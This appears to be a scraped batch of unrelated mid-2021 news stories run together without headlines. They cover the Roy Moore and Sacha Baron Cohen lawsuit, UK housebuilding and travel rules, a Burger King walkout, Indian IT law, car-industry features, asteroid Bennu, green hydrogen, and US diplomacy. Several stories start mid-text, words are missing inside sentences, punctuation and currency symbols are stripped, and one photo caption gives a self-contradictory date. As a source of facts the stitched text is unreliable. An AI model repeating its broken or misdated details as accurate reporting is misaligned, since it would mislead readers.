Instead, he was interviewed by Cohen in character as Colonel Erran Morad, who waved a device said to be able to detect sex offenders.

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When the device beeped, Moore stopped the interview and said: Ive been married for 33 years. Never had an accusation of such things. Certainly, Im not a paedophile, OK?

The politician sued for defamation and emotional distress but Judge John P Cronan, sitting in the Southern District of New York, has dismissed the case after finding viewers would have known it was a joke.

In a 26-page judgement, he wrote: Given the satirical nature of the segment and the context in which it was presented, no reasonable viewer would have interpreted Cohens conduct during the interview as asserting factual statements concerning Judge Moore.

And Judge Cronan cited the contractual waiver Moore had signed before appearing on Who Is America?

FILE - This combination of file photos shows actor-comedian Sacha Baron Cohen at the Vanity Fair Oscar Party in Beverly Hills, Calif. on March 4, 2018, left, and former Alabama Chief Justice and then U.S. Senate candidate Roy Moore at a news conference in Birmingham, Ala., on Nov. 16, 2017. A federal judge on Tuesday, July 3, 2021, dismissed failed U.S. Senate candidate Roy Moores $95 million lawsuit targeting comedian Sacha Baron Cohen filed after Moore complained he was tricked into an interview that lampooned sexual misconduct accusations against him. (AP Photo/File)

Moore and his wife Kayla, who was also a plaintiff in the lawsuit, tried to argue the release was void because it was signed under false pretences.

Baron Cohen, 49, reacted to the victory online by referencing the misconduct allegations against Moore, which he had denied.

He tweeted: Sorry, Roy. Nice try. And this is now part of the legal record: Several published articles accused Judge Moore of inappropriate sexual encounters with young females, including one who was underage.

Baron Cohen, whose comic creations include Ali G, Bruno and Borat, is known for duping high-profile figures.

He has faced previous lawsuits but they have also been dismissed due to the subjects signing waivers beforehand.
Housebuilder Barratt Developments has revealed a further hit for cladding safety works after the Grenfell Tower disaster, taking its total annual bill to more than 80 million.

The group said it is setting aside around another 30 million for remedial works in the second half, leading to a full-year provision of about 81 million.

It added that it is liaising with owners, management companies and expert engineers on assessments of buildings it constructed and the works needed to support leaseholders and residents.

However, despite the cladding provisions, the group said it is expecting annual underlying pre-tax profits to be marginally ahead of expectations for between 761 million and 812 million after an excellent past year.

Statutory pre-tax profits, after adjusted items of around 107 million, are expected at the top end of market forecasts.

Barratt had already hiked its outlook in May after a strong start to 2021 thanks to Britains booming property market.

The firms latest cladding bill marks a steep rise on its earlier provision of 4.1 million for the second half put by in May.

At the time, it said its costs so far totalled 163.1 million since 2017-18 for remedial cladding work on developments.

Firms across the sector have been working to address potentially unsafe cladding on buildings following the 2017 Grenfell fire, but many leaseholders have been left on the hook for huge sums of money to pay for the work themselves.

Barratt said: We recognise that the complex issues surrounding fire safety guidance are causing distress for affected home-owners across the country.

We will continue to dedicate significant focus to this area, as founding signatories to the Building Safety Charter and active members of the Governments Early Adopters Group, which is committed to protecting life by putting safety first ahead of all other building priorities.

The companys full-year update shows a bullish stance even as the housing market cools following the ending of full stamp duty relief on June 30.

A report from Halifax last week showed that house prices fell by 0.5% in June  the first decline since January, indicating that the peak for buyer demand may have passed.

But housebuilders have been optimistic over the outlook, with rivals such as Persimmon and Visry recently reporting continuing strong demand.

Barratt said it is sticking to its sales goals, having notched up 17,243 home completions in the year to June 30.

Chief executive David Thomas said: Whilst these are still uncertain times, we enter the new financial year in a strong position and remain focused on our medium-term targets, including delivering 20,000 homes a year.

Its private homes selling price rose to about 325,000 in the year, up from 310,600 the previous year.
Popular Spanish holiday islands are in danger of being moved onto the amber list only a fortnight after being approved for quarantine-free travel, according to reports.

The Balearic islands, including tourist hotspots Ibiza, Mallorca and Menorca, could be set to be moved off the green watchlist  destinations the Government considers safe for travel but which could potentially be downgraded to the amber list  on Wednesday due to rising cases, the reports have suggested.

Those travelling to amber listed countries, such as mainland Spain, have to self-isolate for 10 days on their return to England.

However, as of July 19 the requirement to quarantine will be scrapped for the fully vaccinated and those aged under 18.

The Sun, which first reported the alleged travel change, quoted a source saying: Its all still up for discussion, but the figures arent great which is why it was on the watch list in the first place.

The Department for Transport said there was nothing to say at the moment on changes to the Balearic islands travel status.

Aside from countries potentially coming off the green list, some could be going the other way, according to an analyst.

Italy, Germany and Poland are among the destinations most likely to be added to the Governments green travel list, Robert Boyle, former director of strategy at British Airways parent company IAG, has predicted.

He wrote on his website www.gridpoint.consulting that strong candidates from Europe to be added to the quarantine-free list also included Austria, Bulgaria, Latvia, Lithuania, Slovakia and Switzerland.

People arriving in the UK from green list destinations are not required to self-isolate.

Transport Secretary Grant Shapps is set to conduct broadcast interviews on Wednesday (Kirsty OConnor/PA)

There is a case for Hong Kong and Taiwan to be shifted onto the green list as well, he added, while Canada was also looking a decent bet, although the North American country does not currently allow visitors from the UK.

The UK is battling its own summer spike in cases, with a further 36,660 lab-confirmed Covid-19 cases reported as of 9am on Tuesday.

Government data also recorded a further 50 people had died within 28 days of testing positive for coronavirus as of Tuesday  the highest day-on-day increase since April 9  taking the countrys total to 128,481.

The Governments travel lists are expected to be updated on Thursday, although reports have suggested it could come 24 hours earlier, with Transport Secretary Grant Shapps due to face the media on Wednesday morning.

Travel expert Mr Boyle also predicted Indonesia and Sierra Leone could be moved from the amber list to the red list, while Bahrain could go in the opposite direction because of case rates plummeting.

People arriving in the UK from a red-list location must spend 11 nights at a quarantine hotel, at a cost of 1,750 for solo travellers.

It comes as a couple were barred from making a trip to Malta due to having been given an Indian-made batch of the Oxford/AstraZeneca vaccine, according to The Daily Telegraph.

Daily confirmed cases of Covid-19 in the UK (PA Graphics)

Boris Johnson has recently looked to play down concerns that up to five million Britons could be barred from taking holidays in the European Union because their vaccinations are not recognised by its passport scheme.

The problem centres on doses made by the Serum Institute of India being known as Covishield.

Despite it being the same as other AstraZeneca vaccines, it has not been authorised by Europes regulator and is therefore not recognised by the EU.

The Prime Minister has previously stated he was very confident Covishield would not cause an issue, but Steve and Glenda Hardy, 64 and 63, told the newspaper they were turned back at Manchester airport at 3.30am on Friday when they tried to board a flight to Malta.

The Hull couple, who were given Indian manufactured doses of the AstraZeneca vaccine in March, said they had to holiday in Llandudno, Wales, instead.

It comes as First Minister Mark Drakeford prepares to set out on Wednesday whether coronavirus restrictions can be eased in Wales, which has the lowest Covid rates in the UK.

Mr Drakeford is due to confirm whether the delayed move to Alert Level One  which was pushed back by four weeks  can now take place, in a statement to the Welsh Parliament on Wednesday afternoon.

Meanwhile, a row over domestic travel regulations appeared to be brewing after London Mayor Sadiq Khan asked Transport for London (TfL) to enforce the use of mask wearing on buses and trains as a condition of carriage, even after legal restrictions to wear one are lifted next week.

Unions widely welcomed the Labour politicians call, which looks likely to be taken up by TfL and used to put pressure on other transport providers, including mainline train operators, to follow suit.

Mick Lynch, general secretary of the Rail, Maritime and Transport (RMT) union, told PA news agency: The train operating companies and the Government should be following this lead in the name of consistency, common sense and public safety.
They finally had it their way.

Staffers at a Nebraska Burger King walked off the job and they made the announcement on a marquee posted in front of the fast food eatery, which now-former employees told news station KLKN was a whopper of a bad situation.

We all quit, read the writing under the Burger King logo on a Lincoln, Neb., sign. Sorry for the inconvenience.

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That lettering was reportedly taken down Saturday, at which time ex-manager Rachel Flores was told her employment was terminated, effective immediately. According to Flores, she and eight other employees had already given their two-weeks notice to the fast food chains operators. She said staffers had joked about spelling out their notice where passersby could read it the night before the signage was posted, then decided to follow through the following morning.

They wanted to put up a sign to say, you know, sorry, theres really not going to be anyone here, Flores told KLKN.

She figured the signage would go unnoticed, but photos of it quickly made the rounds on social media, promoting her bosses to call and tell her to take it down. Flores said she started work at her local Burger King after the start of 2021 and has since dealt with understaffing, 50 to 60 hour work weeks and kitchen temperatures topping 90 degrees due to a lack of air-conditioning. According to Flores, when she was hospitalized for dehydration, upper management said she was being a baby.

Flores best friend Kylee Johnson seconded her former fast food colleagues assessment of the situation.

I knew what was going on staffing wise, Johnson said. We were just waiting for more people to come then and we got nobody.

Both women said they felt unsafe working in what they considered to be an inadequately staffed eatery. Despite the recent exodus, KLKN reports that the Burger King Flores and her colleagues fled continues to operate.
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Recently, the SC had said that it was shocking that the judgment striking down the law has not been implemented even now

The Supreme Court early this month issued a notice to the Centre on the use of Section 66A of the IT Act and said that it was shocking that the judgment striking down the law has not been implemented even now. (AA file photo)

New Delhi: The Centre on Wednesday asked the states to direct their police not to register cases under the repealed Section 66A of the Information Technology Act, 2000 related to posting online comments.

The Supreme Court in 2015 had struck down the controversial Section 66A of the IT Act that made posting "offensive" comments online a crime punishable by jail, after a long campaign by defenders of free speech.

However, recently, the apex court had said that it was shocking that the judgment striking down the law has not been implemented even now.

The Ministry of Home Affairs (MHA) has requested states and Union Territories (UTs) to direct all police stations under their jurisdiction not to register cases under the repealed Section 66A of the Information Technology Act, 2000, a home ministry statement said.

The ministry said it has also asked the states and UTs to sensitise law enforcement agencies for the compliance of the order issued by the Supreme Court on March 24, 2015.

The MHA has also requested that if any case has been booked in states and UTs under section 66A of the IT Act, 2000, such cases should be immediately withdrawn.

The Supreme Court in its judgment on March 24, 2015 in the matter of Shreya Singhal Vs. Union of India had struck down Section 66A of the Information Technology Act, 2000. This made Section 66A of the Information Technology Act, 2000 null and void with effect from the date of the order and hence no action could be taken under this section.

The section of the law provides police power to arrest a person for posting "offensive" content online and provides for a three-year jail term.

The Supreme Court early this month issued a notice to the Centre on the use of Section 66A of the IT Act and said that it was shocking that the judgment striking down the law has not been implemented even now.
Dr. Ashish Jha, right, dean of the School of Public Health at Brown University, speaks during a discussion on public health Tuesday at the Aspen Institute. He was joined by Amna Nawaz, left, senior national correspondent for PBS NewsHour.
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Athens, TX (75751)

Today

Partly cloudy this evening followed by increasing clouds with showers developing after midnight. Low 76F. Winds light and variable. Chance of rain 40%..

Tonight

Partly cloudy this evening followed by increasing clouds with showers developing after midnight. Low 76F. Winds light and variable. Chance of rain 40%.
The Bangle butt E65 7 Series is arguably the most controversial Bimmer from this era, followed closely by the E60 5 Series . Looking back on these cars, they were forward-looking designs that came out during a time when the Mercedes-Benz S-Class, E-Class, Audi A8, and A6 were obviously conservative in terms of exterior design. Chris knew that his styling language would alienate some traditionalists, but the increasing sales figures proved that his risky styling decisions were worth it for both him and the company.Although Im not a huge fan of the Bangle-penned cars, his approach to styling is far superior to the buck-toothed G22 4 Series. Overseen by BMW design head Domagoj Dukec and group design boss Adrian van Hooydonk, that cars front fascia oozes meaningless excess in an in-your-face way that can be described as obnoxious, offensive, and - dare I say it - very shocking.Why do you need such huge grilles for a 2.0-liter turbo four-cylinder gasoline motor or a single-turbo sixer? I wish I had a good answer to this question, but Domagoj and Adrian dont really care about our opinion . What's more, the twin-turbo V8-engined BMW M8 has a smaller and more elegant grille design than the twin-turbo I6-powered BMW M4 for the 2021 model year.Automotive concepts artist Jon Sibal rendered the M4 with the kidneys of the M8, and guess what? The front-end design is much nicer than the real deal, especially in combination with a sharp front spoiler and classy wheels.BBS LM forged wheels, to be more precise, which give motorsport vibes rather than the hey-look-at-me nonsense of the M4 Competitions wheels.
It is true that Bennus chances of hitting us are 1 in 2,700, and it is something our descendants should worry about sometimes between the years 2175 and 2199, but even so, its not a risk anyone wants to take. So the Chinese are working on a solution to further mitigate that risk.Based on thorough calculations , Chinas National Space Science Center concluded that 23 Long March 5 rockets would be enough to divert the asteroid away by approximately 6,000 miles (9,000 km). Each rocket would weigh 992 tons (900 metric tons) and all 23 would have to push against Bennu at the same time to be able to reroute the space rock.China is not the first one to come up with a solution to the Bennu issue. NASA presented a similar plan, called HAMMER (Hypervelocity Asteroid Mitigation Mission for Emergency Response) only it involves a fleet of 30 ft (9 m) tall spacecraft that should be launched 10 years before Bennu would collide with Earth. These would also divert the asteroid and it would be a more affordable approach to the Chinese one.The impact that Bennu would have if it hit us would be 80,000 times stronger than the Hiroshima bomb, with an estimated kinetic energy of the asteroid measuring 1,200 megatons.In 2016, NASA successfully sent a spacecraft called OSIRIS-Rex (Origins, Spectral Interpretation, Resource Identification, Security, Regolith Explorer) to take a sample of the asteroid for studies back home. On May this year, the spacecraft began its long journey back to Earth, traveling 1.4 billion miles (2.25 billion km). It is scheduled to reach our planets orbit sometime in 2023.
The mega project is called Western Green Energy Hub (WGEH) and will be a collaboration between InterContinental Energy, the Mirning People (the first owners of the land), and CWP Global, a renewable energy developer.Located in the South-East of Western Australia, across the Shires of Dundas and the city of Kalgoorlie-Boulder, the hub will cover more than 5,790 square miles (15,000 square kilometers). It will be able to produce up to 50 gigawatts of hybrid wind and solar power, with the area registering high levels of solar and wind energy over a 24-hour period. That means the hub will generate up to 3.5 million tons of green hydrogen or 20 million tons of green ammonia per year.The creators of the WGEH plan to both use the energy locally as well as export it internationally, providing a significant boost to Western Australias hydrogen strategy. Green fuels can be used for various applications, including aviation, mining, steel, and chemical industries, the shipping sector, and more. This partnership will bring sustainable financial benefits as well as security for future generations, as explained by the Mirning People. But for now, the WGEH is still in the development phase, with an investment decision being expected after 2028.According to researchers, the green hydrogen market will worth $2.5 trillion by 2050, as the entire world aims for complete decarbonization by then.Back in Europe, Austria also announced a solar to hydrogen station called Solhub , which will be installed by photovoltaic manufacturer Fronius. It will be able to produce more than 220 pounds (100 kg) of green hydrogen per day, using solar energy and water. The Solhub will require 1.5 megawatts of photovoltaic panels, which means around 5,000 solar panels.
And I guess it's all down to the major transformation that is going on. The whole process of electrification means that some big changes are being made, and not everyone likes changes. So there will always be complaints, of course. Ford is involved in so many amazing projects right now. They're launching the new Maverick, the F-150 Lightning is coming up, there's also the Bronco and the Mach-E. And there is a lot more news coming out of Dearborn these days.But sometimes you just have to stop and wonder if sometimes, even a huge company like Ford may be in way over its head, at least in some cases. I've been doing a lot of forums-browsing lately, trying to get some insights from people who have placed their trust in the Big Oval, by buying their latest generation vehicles. I've noticed a lot of excitement everywhere I looked, but you can't help but notice that there is also some frustration at play.I've heard Mach-E owners refer to themselves as being Beta-testers, as they keep bumping into various issues with their cars. But that's bound to happen with a piece of new technology, as we're still wrapping our heads around certain aspects. Not that I'm implying that it's ok for you to spend upwards of $30,000 on a brand new vehicle and then be left stranded in the middle of the road.I'm guessing that both sides are kind of at fault in the current situation. Because if we live in a consumer-driven demand kind of economy, of course, companies are going to try and push the envelope with their technology, because that's what the customers are asking for. At the same time, we should be asking ourselves, is it ok to always be craving that new technology , when perhaps we haven't even dialed down the old one yet?But let me get to the main story here, as I've allowed myself to get carried away by the problems of modern society. Ford has brought back the Bronco, and everyone has gone mad over it. So in theory, the Bronco has been a total success so far. But in practice, orders are taking what seems like forever to be delivered, and some people are getting sick and tired of waiting, without even getting any updates on their builds.I came across a story of a forum user named Rich, who lives in Massachusetts. He has received a reservation confirmation for a "basesquatch" Bronco exactly one year ago, in July of 2020. He opted for the 2.3-liter engine with a 10-speed automatic gearbox, and a Molded-in-Color top. It has been a year since he has put down a deposit on a Bronco, and as of now, there is still no build date in sight.I can't even imagine how annoying it must be to wait that long for your car to be delivered, especially with all the hype going on around it. Another user, based in Florida, notes that he has been waiting for exactly one year as well. I'm surprised that Ford hasn't established better communication with reservation holders, as I'm sure waiting for their cars would be much easier if someone would keep them up to date with the process.Another reservation holder, this time from Arkansas, has also been waiting for a year, and he is running out of patience and time, suggesting that "someone in upper management should lose their jobs". One other user implied that he is itching to forget his Bronco reservation and switch to a Wrangler instead, and that would explain the success that the model has seen recently.I counted 12 other people who were on the same boat, waiting for one year now, and I can't help but get the feeling that the actual list is way longer. Speaking from my perspective, I would never wait that long for a car, unless it was the new RX-7 or something really special. But I guess that if some people are willing to wait that long for delivery, then there will always be a manufacturer willing to take them up on that offer.
ICE

Matthias - at no point does it propose a ban on ICE and thats important for we should not dismiss net zero emerging technology around synthetic fuels and hot hydrogen both of which use ICE; important because not all segments lend themselves to EV and EV in itself is not Co2 free  Dr. Andy Palmer (@AndyatAuto) July 14, 2021

The EU Commission president, Ursula von der Leyen, said that in an interview to Sueddeutsche Zeitung . According to her, the commission must establish an end date after which all cars will have to be emissions-free to achieve carbon neutrality by 2050.The measure is part of the "Fit for 50" climate package presented on July 14. It will now be negotiated in the European Parliament, and people already preview that it will take many months to be approved. France would already have opposed the plan, according to Bloomberg Some executives, such as Andy Palmer, dont think that the idea will represent a ban per se. Demanding zero-emission vehicles could still allowto be employed in some applications. According to his tweet below, they could burn synthetic fuels or hydrogen.The issue is that even an engine burning hydrogen will need oil to lubricate its moving parts and that oil will also incinerate in the process. Combustion engines are inherently inefficient, with the best ones converting only 40% of the fuel energy into movement. All the rest turns to heat, which is equivalent to saying that you burn $60 out of every $100 you spend in these efficiency examples. If we are to consider the average engine, you burn $80 out of $100. Volkswagen is pursuing bioethanol as a clean solution for emerging countries. However, it also proposes to use that fuel in regular engines when it would be better used as a cheap hydrogen storage method for fuel cells.Maybe 2035 is too soon to ensure the automotive industry has time to shift to electric cars or other carbon-neutral solutions. That is what the European Parliament will have to decide with eyes not only on climate change but also on jobs created by car companies and their suppliers. As Winfried Hermann told autoevolution, the secret is balance.
The South Korean company seems to be exploring all paths to a new mobility. If its Urban Air Mobility Division is looking for answers up in the sky, through personal air vehicles (PAVs) and futuristic air traffic solutions called Smartskies, autonomous vehicles are one of the focus points back here, on the ground.In just a few weeks, on August 9, the Hyundai H350 will take to the streets of Sejong Smart City, in South Korea. To begin with, it will only ride on a short 6.1-km (3.7-mile) route, from Sejong Government Complex to Sejong National Arboretum. A pilot will be operating the shuttle, which has only a temporary permit for Level 3 autonomous driving for now, even though, according to Hyundai, its packed with Level 4-comparable technologies.Plainly called RoboShuttle, this is a light commercial four-door van, reinvented through the use of autonomous driving technology that Hyundai developed at its Autonomous Driving Center. In accordance with Level 4 requirements, the RoboShuttle can operate with minimal intervention from a safety driver, it can perceive its surroundings and make decisions.But theres a second innovation that Hyundai intends to bring through its shuttle service, and that is a demand-responsive capability. The RoboShuttles performance will be enhanced by Shucle, a mobility service developed by an AI research lab also operating under Hyundai Motor , called AIRS.Based on this app, the autonomous shuttle will not only be able to stop at pick-up and drop-off points according to the passengers pre-selections, but it will even determine the best way to go, with the help of AI algorithm calculations. This makes the future shared mobility service even more effective, by operating on-demand and always on the best route to get to the destination.At the moment, Hyundai is selecting volunteers who want to try out the new RoboShuttle service. After its debut in Sejong City, the service will be implemented in other areas as well. And even the researchers at the Hyundai Motor and Kia Namyang Research and Development Center will start using the RoboShuttle later this year.
EV

Well, that makes his reaction to getting to ride in the all-new Rimac Nevera all the more remarkable. He's obviously very excited about the opportunity, and why shouldn't he be? The only thing keeping the Nevera from the title of "quickest production car in the world" is the fact it's not technically a production car yet.It is, however, "production-ready", which means that what you see is what the 150 future owners (the electric hypercar is understandably sold out) who have already paid for one are going to get when their turn comes. Rimac has a very good excuse if that takes a bit longer than originally predicted: it's been keeping itself busy acquiring the VW-owned French brand of Bugatti, together with Porsche.Anyway, the specs of the Nevera are worth waiting an eternity for. The Croatian electric hypercar is said to reach 62 mph (100 kph) in under two seconds, and 186 mph (300 kph) in 9.3 seconds. The quarter mile should be dispatched in the mid-eights, which has already been proven , and on a regular, unprepped surface to boot.There are plenty of reasons to get excited about getting the opportunity to ride in the Nevera, and just as the driver swipes through the various screens on the infotainment system, we spot a few more: the max G value generated at launch reads "4.4g", while the 0-max speed (255 mph / 410 kph, in this case) reads 10.55 seconds. That last one could be a mistake of sorts because there's no way the Nevera will go from 186 mph to 255 mph in just 1.25 seconds. Anyway, that particular screen shows somebody's been having fun with this car.And, if anything, Shmee's run up the Goodwood Hill Climb confirms it. On the way to the start line, they pass an impressive line of rare, expensive, exotic, and really capable machines. However, the one Shmee was in was actually the quickest of them all. That must have felt pretty special.Approaching the start, the driver puts the Nevera into Drift mode and, instead of doing a burnout to warm the tires up, he does a 360-degree spin on the spot. That's a good start. He leaves the car in Drift Mode for the first couple of turns as well, which means thetakes them sideways.He then switches to a more suited Track Mode, and the difference is immense. The Nevera is completely transformed into a track tool that grips in the corners and blasts its way out of them. Based on what we can see, Bugatti seems to be in safe hands.After the experience, Shmee is literally lost for words. Even he admits it. He keeps starting sentences but midway through, he just pauses and finishes them with "it's so fast". Well, that may not be the most elaborate description, but we suspect the guys at Rimac would be pretty happy if those were the words that came to everyone's mind whenever the name was mentioned.
This new set is also an update from LEGOs T1 Camper Van set released a few years ago, which is now a retired set and quite hard to find. Now the Danish toy company wants to fill us with nostalgia offering a set of 2,207 pieces, meant to celebrate peoples passion for camper vans and road adventures.Its new VW T2 Camper Van set is not a childs game, but a more advanced project to tackle, suited for adult LEGO builders and camper van fans aged 18+. Camper van enthusiasts will be delighted with the attention to detail, as the LEGO van looks impressively similar to the real thing.LEGOs T2 camper van comes with the iconic windscreen on the front, those classic textile curtains and pop-up tent, a sliding door, functional steering, and even a surfboard and folding chairs. You can also open the hood to take a look at the engine inside.The interior of the van comes with a swing-out table, foldable rock and roll-style bed, a camping kitchen with a gas stove, a fridge, and more.There are stickers included as well, which let you personalize your blue-and-white van in that all-too-familiar flower-power style of the 60s, a time when hippies ruled the world preaching about love and peace.LEGOs T2 Camper Van measures 13.5 in (35 cm) in length, 5.5 in (14 cm) in width, and 6 in (15 cm) in height.If you want to spend some quality time building your perfect camper van out of LEGO, you can order the T2 Camper Van set starting August 1, for a price of $180.
CAS

One of the biggest car shows in a long time is coming back starting the 15th of July. The Chicago Auto Show will be held at Mccormick Place, with access to the public being open until July 19th. Some of you may have already gotten tickets for the show. But if you haven't done so yet, Ford gave us five reasons why you should at least visit their stand atWhat I like most about their approach is the fact that they won't just be parking vehicles inside of a hall for people to see them. A hands-on experience is available onsite, and for anyone who's had enough of staring at cars, this is the perfect escape. Ford has set up the Built Wild Bronco mountain experience, which sounds like the perfect way of testing out their G.O.A.T. system.Ford's plan sounds like nothing I've ever seen before, as they have a 30,000-square-foot (2,787 square meters) area specially designed for this experience. Fans will have access to the all-new Bronco family of vehicles, which includes the two-door and four-door Bronco, as well as the Bronco Sport. I've always said that test driving a car is the best way of figuring out if you'd buy it, and taking the new Bronco up a 38-degree steep, man-made mountain sounds ideal!Ford has also set up an 11,000-square-foot (1,022 square meters) outdoor display for their Built to Electrify experience, where they plan on showing people the benefits of an electric-powered vehicle, using their line-up of cars. The F-150 Lightning, Mustang Mach-E and 2022 E-Transit will all be there, alongside the full-hybrid Maverick. This sounds like a good way of seeing what the Mach-E can do so that you won't have to rely on internet reviews alone.Speaking of the F-150 Lightning and Maverick, both of these vehicles are making their official public debut at the Chicago Auto Show. And they'll also be featured inside of the convention center, more specifically in the west hall. I feel like the F-150 Lightning will be a big hit as soon as it hits the streets, and it's impressive to follow Ford's electrification efforts throughout their range of vehicles.Meanwhile, the Maverick may very well strengthen Ford 's position in the pickup truck segment, as the starting MSRP of $19,995 before taxes sounds good enough to attract a whole new range of potential customers. Last but not least, and I've kept this for last on purpose, Ford will be displaying a very special project of theirs, done in collaboration with a company that usually builds cars for movies.For the first time, fans at the show will be able to see a real-life Rocket League vehicle, in the form of the F-150 Rocket League Edition! This is going to be wider than an F-150 Raptor and will be very much like the video-game version of the F-150. This will be the center-stage vehicle on Ford's display in the west hall of Mccormick Place, and we can't wait to see the truck in its final form!
Six units of the Super Veloce Jota were produced while the Miura was still in production, and a seventh was converted from a Miura S at the SantAgata Bolognese factory in the 1980s. Once finished in silver gray by Carrosserie Chapron, chassis number 5090 underwent an extensive restoration from 2010 to 2012, carried out by ex-Lamborghini engineer Luca Salvioli for mechanicals and Pietro Cremonini for the the bodywork and paintwork.Offered by Kidston for heaven knows how many dollars, the Corsican Car was originally sold to property developer Paul Ferrandi. The second owner, Alain Aouizerat, purchased the vehicle in 1982 with approximately 13,000 kilometers (8,078 miles) on the clock. Two years later, Michel Barthe acquired the car, subsequently selling it to Luciano Colosio in 2006 with around 17,000 kilometers (10,563 miles) on the original V12 and gearbox.Purchased by the worlds most significant Miura collection in 2010, the ultra-rare supercar is offered with 19,582 kilometers (12,168 miles) today. Described as Lamborghinis equivalent to the Ferrari 250 GTO, chassis number 5090 flexes Rosso Granada for the exterior just like the SVJ commissioned by the Shah of Iran. As a side note, Nicolas Cage bought that car in 1997 for the not-so-princely sum of $497,500 at an auction in Geneva.Believed to produce in excess of 400 horsepower at the crankshaft, the 3.9-liter V12 of the Corsican Car originates from the Miura SV that used to rock 380 horsepower when it was brand-spanking new. As for pricing estimates, this fellow is likely to fetch more than $2 million because chassis number 4892 sold for $1.1 and $1.9 million in 2010 and 2015, respectively.
The Royal Navys flagship, HMS Queen Elizabeth , must have gotten used to its leading role by now. Back in May, it sailed from Portsmouth on her maiden operational deployment, as leader of UKs Carrier Strike Group. The 65,000-ton aircraft carrier became operational at the beginning of this year and then completed extensive training, before setting off on its first mission.The aircraft carrier is the ultimate expression of global maritime power, said Commodore Steve Moorhouse, Commander of the United Kingdom Carrier Strike Group, and the ships that participated in the recent 2-day exercise that took place in the Gulf of Aden, showcased that perfectly.Ships from the USS Ronald Reagan carrier strike group and the USS Iwo Jima amphibious ready group trained alongside HMS Queen Elizabeth. Throughout the 2 days of the exercise, they performed various defense tasks against simulated air enemy targets and they hunted down simulated enemy submarines. Anti-air, anti-surface and anti-submarine abilities and techniques were all put to the test.It wasnt the first time that HMS Queen Elizabeth and the Iwo Jima amphibious ready group operated together. The 2 great warships first came face to face a couple of months ago, after taking part in NATO exercises off the coast of Scotland. Prior to that, the Royal Navy greatest aircraft carrier took center stage during Strike Warrior 21.Strike Warrior 21 was a historically important exercise, when British F-35 fighter jets launched from HMS Queen Elizabeths deck, conducting missile firings at sea for the first time in 15 years. It was also there that the Royal Navys flagship met the other new aircraft carrier, HMS Prince of Wales, for the first time.After completing several other joint trainings with the U.S. and other NATO partners, the UK Carrier Strike Group will continue its journey toward the Indo-Pacific Ocean.
MQB

ICE

EV

The Volkswagen Group CFO presented the companys plant for a sustainable transition and stressed that theplatform would help keep factories busy to a competitive level. That gives a strong example of why going all-in on electrification is not possible: that would mean thousands of people would lose their jobs all of a sudden.Volkswagen is gradually converting its factories to produce electric cars. Until all of its plants can do that, the company has to keep them working with what is currently available. That is why Antlitz said that the company needs to keepvehicles competitive: to ensure a stable cash flow.EVs and combustion-engined cars currently have a gap in profit margins. Volkswagen expects that gap to close within two or three years thanks to lower R&D (research and development) costs, battery cost savings, increasing economies of scale, and lower factory costs thanks to multi-brand plants.If things go as planned, Volkswagen expects itssales to represent 50% of the total in 2030. That may happen even earlier: demand for ICE vehicles will get lower pretty soon. In Europe, China, and the US, anyone buying a car that burns fuel to move will risk higher depreciation sooner than ever. After all, who will want to buy a used car that may have traffic restrictions or even be banned in some places?Volkswagen will prepare for that by simplifying its ICE lineup, offering fewer engine options, and trying to make EVs competitive as soon as possible. In other words, it will milk the ICE cow to feed the electric car initiative until it can walk with its own feet. The sooner, the better.
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President Biden's latest ambassadorial picks reveal his strategy when it comes to the diplomacy of diplomacy: He's blending career servants with political supporters to avoid raising the ire of State Department professionals while filling posts around the world.

Why it matters: The U.S. diplomatic corps remains shaken from cuts to its ranks by Rex Tillerson, former President Trump's first secretary of State.

Successor Mike Pompeo vowed to help the State Department regain its "swagger," but many members of the Foreign Service still felt disrespected by the past administration.

Biden, whose ties to the State Department span decades on the Senate Foreign Relations Committee and his past role as vice president, has sought a different relationship with Foggy Bottom.

Driving the news: Biden on Tuesday packaged his announcement of former Arizona Sen. Jeff Flake for ambassador to Turkey with the nomination of Kent Logsdon  previously a deputy chief of mission in Berlin and trip planner for former Secretary of State John Kerry  for ambassador to Moldova.

Flake was a Biden colleague in the Senate, but as a Republican he allows the president to exhibit some bipartisanship in his diplomatic assignments.

Turkey's no vanity posting. It's a complicated NATO ally straddling Europe and Asia, and President Recep Tayyip Erdogan requires careful handling.

Between the lines: On the same day, the White House sent the Senate a previously announced slate of nominees to begin their confirmation process  with names that also ping-ponged between the career and political camps.

Julieta Valls Noyes, a career member of the Senior Foreign Service, as assistant secretary of State for Population, Refugees and Migration.

Massachusetts State Rep. Claire Cronin, a Biden fundraiser, as ambassador to Ireland.

Bathsheba Nell Crocker, a longtime diplomat and daughter of Chester Crocker, an Africa specialist under former Secretary of State George Shultz, as U.S. representative to the UN offices in Geneva.

Denise Campbell Bauer, another campaign fundraiser and former ambassador to Belgium, to return as ambassador to France and Monaco.

Don't forget: Biden's Secretary of State Tony Blinken and UN Ambassador Linda Thomas-Greenfield also are two well-known representatives from inside the State Department ranks.

Editor's note: This story has been updated to correct the name of Bathsheba Crockers father. Axios politics editor Glen Johnson served as a senior communications aide to Secretary of State John Kerry and is author of "Window Seat on the World."
Pashinians press office said that in the phone call that was held at the initiative of the American side, Blinken congratulated the Armenian leader on his Civil Contract partys victory in the June 20 snap parliamentary elections, appreciating the consistent steps taken by the Armenian government in recent years to build on the countrys democratic achievements.

In this context, Antony Blinken hailed Nikol Pashinians efforts to handle the electoral tensions peacefully and build civilized relations with the opposition. Highlighting the Armenian governments reform agenda, which specifically seeks to curb corruption and improve the judiciary, Antony Blinken assured that the United States will provide continued support in this direction. He noted that the partnership between the two countries is based on democratic values, the readout of the call released by Pashinians press office said.

Pashinian for his turn reportedly thanked the U.S. secretary of state for his assessment of Armenias democratic achievements and appreciated the American sides continued support to his governments efforts aimed at strengthening democratic institutions and rule of law in Armenia, including the launching of a police patrol service in Yerevan that he hoped will soon be introduced nationwide.

Armenias acting premier also hailed the efforts made by acting U.S. Assistant Secretary of State for European and Eurasian Affairs Philip Reeker to ensure the repatriation of Armenian prisoners of war from Azerbaijan a month ago.

The repatriation of POWs and the withdrawal of Azerbaijani troops from Armenias sovereign territory were described as key issues in the context of achieving regional stability, the press release said.

The report also said that the U.S. secretary of state gave assurances that the United States will continue its efforts to ensure the return of all prisoners of war.

With reference to the Nagorno-Karabakh conflict, Antony Blinken prioritized the need for resuming the OSCE Minsk Group Co-Chairs activities, emphasizing that a clear-cut agenda has to be developed for the peace process that would help find a lasting and comprehensive resolution of the conflict.

